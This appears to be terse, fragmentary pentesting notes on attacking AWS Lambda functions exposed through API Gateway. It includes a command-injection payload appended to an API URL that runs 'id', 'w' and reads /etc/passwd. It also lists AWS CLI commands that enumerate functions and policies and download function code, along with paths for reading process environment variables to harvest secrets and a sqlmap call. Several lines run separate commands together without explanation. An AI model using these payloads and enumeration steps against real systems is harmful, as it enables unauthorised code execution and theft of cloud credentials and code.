AWS Lambda, essentially are short lived servers that run your function and provide you with output that can be then used in other applications or consumed by other endpoints.
curl "https://API-endpoint/api/stringhere"
For a md5 converter endpoint "https://API-endpoint/api/hello;id;w;cat%20%2fetc%2fpasswd"
aws lambda list-functions aws lambda get-function --function-name aws lambda get-policy aws apigateway get-stages
aws lambda list-functions aws lambda get-function --function-name name_we_retrieved_from_above --query 'Code.Location' wget -O myfunction.zip URL_from_above_step
/proc/self/environ
/proc/[1..20]/environ
python3 main.py sqlmap -r request.txt